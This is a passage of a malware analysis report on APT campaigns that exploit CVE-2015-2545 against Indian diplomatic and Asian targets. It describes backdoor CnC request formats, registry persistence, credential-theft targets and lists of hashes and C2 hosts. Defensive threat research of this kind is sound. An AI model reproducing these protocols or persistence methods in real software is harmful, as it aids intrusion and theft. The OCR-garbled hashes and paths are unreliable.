“*HKCUSoftwareMicrosoftWindowsCurrentVersionInternetSettingsConnectionsDefaultConnectionSettings” and compares the values. If they
don’t coincide, it sets the “DefaultConnectionSettings” value from the HKEY_USERS to HKCU key.

It sets values taken from:

1. HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones3 {A8A88C49-5EB2-4990-A1A2-0876022C854F}
2. HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones3 {AEBA21FA-782A-4A90-978D-B72164C80120}
3. HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones31A10

To the appropriate HKCU key (for example: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones3 {A8A88C49-5EB2-4990-
A1A2-0876022C854F}, etc.).

Then forms the structure in order to send it to the CnC in a POST-request with the following fields:

* 0x8888 constant

« 0x8000 constant

¢ 18-bytes hex string based on CoCreateGuid function
e Local IP

¢ MAC address

HH ]
a?h?1eDcDODDA2f e
74

10.63.12.4
DOOC29E?786EB

Example of POST request
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It encodes the resulting structure with base64. Example of a POST request:

POST /HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 59.188.13.204:9080

Content-Length: 112

Connection: Keep-Alive

Cache-Control: no-cache

AAAAATIIAAAAGAAAAAAAAGQWNTRIYTkxMDAWMGEYZmU3NAAAAAAAAAAAAAAAAAAAMTAUN]MUMTIUNAAAAAAAADAWMEMYOUUSNzg2
Based on the CnC response, the sample:

e Checks the password in the CnC response and compares it with the hardcoded password “1010” in its configuration structure. If the
password is valid, it sets a “certified” flag and can further process the following commands.

» Launches given command line with ShellExecute, writes output results to %tmp% file, sends results to CnC and deletes the file.

* Downloads file to %Temp% folder.

» Uploads given file to CnC.

« Sets sleep interval.

All results sent to the CnC after processing commands are encrypted with RC4 with a MAC-address as a key.

The CnC points to an IP address in Hong Kong. This IP address belongs to a local private company, but falls within a range of IP addresses
that belong to another enterprise that has already been identified as a host location for command and control servers that communicate with
malware.

The CnC has been used in other APT incidents, attributed by FireEye to the group “admin@338” aka “Temper Panda” (59.188.0.197,
accounts.serveftp.com).

In general, this IP address space from “New World Telecom HK” is one of the favorite places used by different Chinese-origin APT groups to
host command & control servers/proxies.

Another detail suggesting a possible relationship between SVCMONDR and Temper Panda is the use of the “PdPD” (50 64 50 44) marker for
encrypted binaries. According to Crowdstrike, the same marker has been used previously by a number of APT groups (Anchor Panda,
Samurai Panda and Temper Panda).

The latest known activity of “admin@338” was in August 2015, when it was used to target Hong Kong-based media using its own tools,
LOWBALL and BUBBLEWRAP.

However, we are unable to draw any conclusion regarding the relationship between the SVCMONDR group and Temper Panda.

According to KSN data, in addition to Taiwan, there are some SVCMONDR victims in Thailand.

Conclusions

We are currently aware of at least four different APT actors actively using exploits of the CVE-2015-2545 vulnerability: TwoForOne (also known
as Platinum), EvilPost, APT16 and Danti.

These groups have their own toolsets of malicious program. Danti’s arsenal is more extensive than those of EvilPost and APT16, and in terms
of functionality can be compared with Platinum. All groups are focused on targets in the Asian region and have never been seen in incidents in
Western Europe or the USA.

The TwoForOne (Platinum) group is described in Microsoft research, APT16 in FireEye reports, and EvilPost and Danti in Kaspersky Lab
private reports.

Danti is highly focused on diplomatic entities. It may already have full access to internal networks in Indian government structures. According
to Kaspersky Security Network, some Danti Trojans have also been detected in Kazakhstan, Kyrgyzstan, Uzbekistan, Myanmar, Nepal and the
Philippines.

Despite the fact that Danti uses a 1-day exploit, the group is able to make its own modifications to bypass current antivirus detections. A
number of the modules used by Danti have the same functionality as previously known and used malicious programs like NetTraveller and
DragonOK.

The use of CVE-2015-2545 exploits is on the rise. In addition to the groups mentioned above, we have seen numerous examples of these
exploits being used by traditional cybercriminals in mass mailings in February-April 2016. Such attacks mostly target financial institutions in
Asia. Specifically, attacks have been recorded in Vietnam, the Philippines and Malaysia. There are reasons to believe that Nigerian
cybercriminals are behind these attacks. In some cases, the infrastructure used is the same as the one we saw when analyzing the Adwind
Trojan.
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We expect to see more incidents with this exploit and we continue to monitor new waves of attacks and the potential relationship with other
attacks in the region.

To know more about how to address the issue of known vulnerabilities most properly, read this post in the Kaspersky Business
Blog.

Additional references:

The EPS Awakens
Part 1
Part 2: https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Unit 42 |dentifies New DragonOK Backdoor Malware Deployed Against Japanese Targets

New Poison lvy Rat Variant targets Hong-Kong-Pro-Democracy Activists

Microsoft research “Platinum”

EvilPost attacks (Kaspersky Lab Private Report, March 2016)

Appendix A: EPS Objects their payload and http.exe trojan analysis

EPS Objects

File MD5: a90a329335fa0af64d8394b28e0f86c1
File type: Encapsulated Postscript File

Size: 189’238 bytes

File Name: image001.eps (from HQ list)

This EPS file contains a shellcode that decrypts and saves file “Isass.exe” and decoy document to disk.
The dropped malicious files are described below.

File MD5: 07f4b663cc3bcb5899edba9eafdcf4b5
File type: Encapsulated Postscript File

Size: 211’766 bytes

File Name: image001.eps (from Mission list)

This EPS file contains a shellcode that decrypts and saves file “Isass.exe” and decoy document to disk.
The dropped malicious files are described below.

File MD5: b751323586c5e36d1d644ab42888a100

File type: Encapsulated Postscript File

Size: 398’648 bytes

File Name: image001.eps (from India’s 10 Top Luxury Hotels)

This EPS file contains a shellcode that decrypts and saves the dropper file (Windows CAB) and decoy document to disk.

The dropper and dropped malicious file “http.exe” are described below.

Payload analysis

Backdoor
File Name Isass.exe
MD5 8ad9cb6b948bcf7f9211887e0cf6f02a
File type PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Compilation timestamp 2015-12-28 07:47:54

PE Resources BIN (CHINESE SIMPLIFIED)

Size 138’240 bytes

URL: http://goback.strangled[.]net:443/ [random string]

19/23


https://www.kaspersky.com/blog/danti/5594/
https://www.mandiant.com/resources/the-eps-awakens
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
http://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/05/20081504/Platinum20feature20article20-20Targeted20attacks20in20South20and20Southeast20Asia20April202016-1.pdf

TYPE: POST
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
3.5.21022)

Real IP: 180.150.227.135:443

Drops file from its resource section to %ALLUSERSPROFILE% IEHelpermshtml.dll. The backdoor then writes a string to a given offset with
the value dependent on the %ALLUSERSPROFILE% environment variable.

Thus, the md5 of dropped files can vary. Examples of md5 with standard variables:

be0cc8411c066eac246097045b73¢c282
bae673964e9bc2a45ebcc667895104ef

Sets registry:
If user is not admin

“HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersioRun” value {53372C34-A872-FACF-70A7-A23C81C766C4} =
“C:WindowsSystem32rundll32.exe %ALLUSERSPROFILE% IEHelpermshtml.dll, IEHelper”

In any case:

HKEY_LOCAL_MACHINESoftwareMicrosoftActive Setuplnstalled Components{53372C34-A872-FACF-70A7-A23C81C766C4}" value
“StubPath” = “C:WindowsSystem32rundll32.exe %ALLUSERSPROFILE% IEHelpermshtml.dll, IEHelper”

Sets the following values before creating the instance of IE for communicating with the CnC:

HKEY_CURRENT_USERSoftwareMicrosoftinternet ExplorerMain DisableFirstRunCustomize=1
HKEY_CURRENT_USERSoftwareMicrosoftinternet ExplorerMain Check_Associations="no”
HKEY_CURRENT_USERSoftwareMicrosoftinternet Connection Wizard Completed=1
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersioninternet SettingsZoneMap |IEHarden=0

Collects the following info, encodes with base64 and sends to the CnC:

* Memory status

¢ OS version

e User name

+ OEM code page identifier
e Local IP

e CPU speed

Forms the following body in POST request to the CnC:

—-=_Part_%x

Content-Disposition: form-data; name="m1.jpg”
Content-Type: application/octet-steam
Y%baset64%

—-=_Part_%x

Where %x — decrypted adapter’s MAC address based on xor operation.
The URL path in the POST request is generated randomly with uppercase letters.

Example of CnC communication:
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POST /MGRFINDVWP HTTP/1.1

Accept: */*

Content-Type: multipart/form-data; boundary=----=_Part_db88812d
Accept-Language: en-us

UA=CPU: xEB

accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 5.1; .NET CLR 2.8.58727; .NET CLR 3.8.04506.308; .NET4.0C;
«MET4.BE; .MET CLR 3.8.84586.648; .NET CLR 3.5.21822)

Hest: goback.strangled.net:443

Content-Length: 626

Connection: Keep-Alive

----=_Part_dbs@e12d

Content-Disposition: form-data; name="ml.jpg”

Content-Type: applicationfoctet-steam

RAQRAF CBAABXARAAVWE AARAARAAAAARAC B AA LUBHAAACAARAHAE ARALL B KACARATAAABTAGUACE! kAYWE LACAAUABhAGHASWAZAD T AAAAAA
AAAAAAAAALAARAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AAAAAAAAAAAAAAAAAAAAAAAL A AR AAAAAA A AR AAAAAAAAAA .

AARAARSA ARAA, AABARAAARS AR AAAAAAAARAARAAA AN AARAARAR

A
BAQAHAAAAYWS@b25pZQBARABCUKISQE 1E0E ZCH] JBRGL

8/
AQARAARAARAALWArAGABC A=
=== Part_db80e12d--
HTTR/1.1 288 OK
Server: Tengine
Centent-Length: 62
Connection: keep-alive
Cache: no-cache

<htal>

Y >VQAAASA AAAAAAAAAAS [body>
</html>

Based on the CnC response, the sample:

Provides shell via cmd.exe

o Creates directory

Lists files in directory

Deletes file

« Uploads given file to CnC

+ Enumerates drives, gets their type and available space
o Launches given file

* Moves file

Writes and appends to given file

Uninstalls itself

File Name mshtml.dll
MD5 be0cc8411c066eac246097045b73c282
or bae673964e9bc2a45ebcc667895104ef
or different
File type PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit

Compilation timestamp 2015-12-28 07:45:20

Size 72’192 bytes

mshtml.dll repeats entirely the functionality of its dropper (CnC communication and commands processing) in its “IEhelper” export and is built
on the same source code.

http.exe trojan

MD5 6bbdbf6d3b24b8bfa296b9c76b95bb2f | Sun, 13 Apr 2008 18:32:45 GMT
Drops file to % Temp%IXP000.TMPhttp.exe and launches it.

Filename http.exe

MD5 3fbe576d33595734a92a665e72e5a04f | Wed, 13 Jan 2016 10:25:10 GM

CnC carwiseplot.no-ip.org/news/news.asp

Sets registry:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
“IME_hp” = %ALLUSERPROFILE%Accessorieswordpade.exe

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
“IME_hp” = %ALLUSERPROFILE%Accessorieswordpade.exe

HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionRun
“IME_hp” = %ALLUSERPROFILE%Accessorieswordpade.exe
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Copies itself to %ALLUSERPROFILE%Accessorieswordpade.exe, launches it and exits self-process.
wordpade.exe file proceeds:

Creates mutex “GlobalwordIE”. Stores keystrokes and windows titles to % Temp%dumps.dat and xors it with 0x99.
Knocks to CnC via IE instance: carwiseplot.no-ip.org/news/news.asp

Includes the following field in HTTP-header:

Cookie: ID=1%x, where %x — Volume Serial number of disk C

GET /news/news.asp HTTP/1.1
Cookie: ID=154bl6ecd
User-Agent: Internet Explorer
Host: carwiseplot.no-ip.org
Connection: Keep-Alive

HTTP/1.1 288 0K

Date: Fri, @8 Apr 2816 17:36:19 GMT

Server: Microsoft-IIS/6.0

Content-Length: @

Content-Type: text/html

Set-Cookie: ASPSESSIONIDQSQSSTRT=KPIJAGPDLKILMGKCGNEDKIGN; path=/
Cache-control: private

Based on the CnC response, the sample:

¢ Provides shell via cmd.exe

o Lists files in all drives and writes to given file

* Retrieves OS version, Local IP, installed browser, Computer name, User name and writes to given file

o Writes to given file

o Deletes given file

« Uploads given file to CnC

« Makes screenshots and writes to file % Temp%makescr.dat

* Retrieves proxy settings and proxy authentication credentials from Mozilla (signons.sqlite, logins.json) and Chrome files
(%LOCALAPPDATA%GoogleChromeUser DataDefaultLogin Data), Microsoft Wininet storage, Microsoft Outlook

Appendix B: Danti sample hashes

Emails:

aae962611da956a26a76d185455f1d44 (chancery@indianembassy.hu)
3ed40dec891fd48c7ec6fa49b1058d24 (amb.bogota@mea.gov.in)
1aefd1c30d1710f901c70be7f1366cae (amb.copenhagen@mea.gov.in)
f4c1€96717c82b14ca76384cb005fbe5 (India, dsfsi@nic.in)
1ba92c6d35b7a31046e013d35fa48775 (India, chumarpost@gmail.com)
6d55eb3ced35¢7479f67167d84bf15f0 (India, Cabinet Secretary)

Doc (Web Archive File):

C591263d56b57dfadd06a68dd9657343 (HQ List)
Aebf03ceaef042a833ee5459016f5bde (Mission List)
Fd6636af7d2358c40fe6923b23a690e8 (India’s 10 Top Luxury Hotels)

Docx:
D91f101427a39d9f40c41aa041197a9c (Holidays in India in 2016)

EPS:

07f4b663cc3bch5899edba9eafdcf4b5s (India, from Mission list)
a90a329335fa0af64d8394b28e0f86¢1 (India, HQ List)
B751323586c5e36d1d644ab42888a100 (India, Hotels)
8cd2eb90fabd03ac97279d398b09a5e9 (Holidays in India in 2016)

CAB dropper:
6bbdbf6d3b24b8bfa296b9c76b95bb2f

RarSFX:
d0407e1a66ee2082a0d170814bd4ab02
4902abe46039d36b45ac8a39c745445a

Potplayer:
f16903b2ff82689404f7d0820f461e5d (clean tool)
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Trojans:

6bbdbf6d3b24b8bfa296b9c76b95bb2f (dropper, from cab-archive)
3fbe576d33595734a92a665e72e5a04f (http.exe)
8ad9cb6b948bcf7f9211887e0cf6f02a (Isass.exe)
9469dd12136b6514d82c3b01d6082f59
be0cc8411c066eac246097045b73c282 (mshtml.dll)
bae673964e9bc2a45ebcc667895104ef
d44e971b202d573f8c797845c90e4658 (update.dat)
332397ec261393aaa58522c4357c3e48 (potplayer.dll)
2460871a040628c379e0479af37060d (appinfo.dat)

C2

180.150.227.135

Goback.strangled[.]net:443

carwiseplot.no-ip[.Jorg (115.144.69.54, 115.144.107.9)
newsupdate.dynssl[.Jcom (103.61.136.120)
dnsnews.dns05[.Jcom (118.193.12.252)

Appendix C: sample hashes of SVCMONDR attacks

Emails:
7a60da8198c4066cc52d79eecffch327 (Taiwan, janet@eranger.com.tw)

Doc (Web Archive File):
d0533874d7255b881187e842e747c268 (Taiwan, 1-3z%BA#E.doc)

EPS:
98c57aa9c7e3f90c4ebdafeba8128484 (Taiwan)

Trojans:
8052234dcd41a7d619acb0ec9636belb (svemondr.ex, Taiwan)
046b98a742cecc11fb18d9554483be2d (svecmondr.ex, Thailand)

C2:

59.188.13.204
180.128.10.28
www.ocaler.moool[.Jcom
www.onmypc.serverpit[.Jcom
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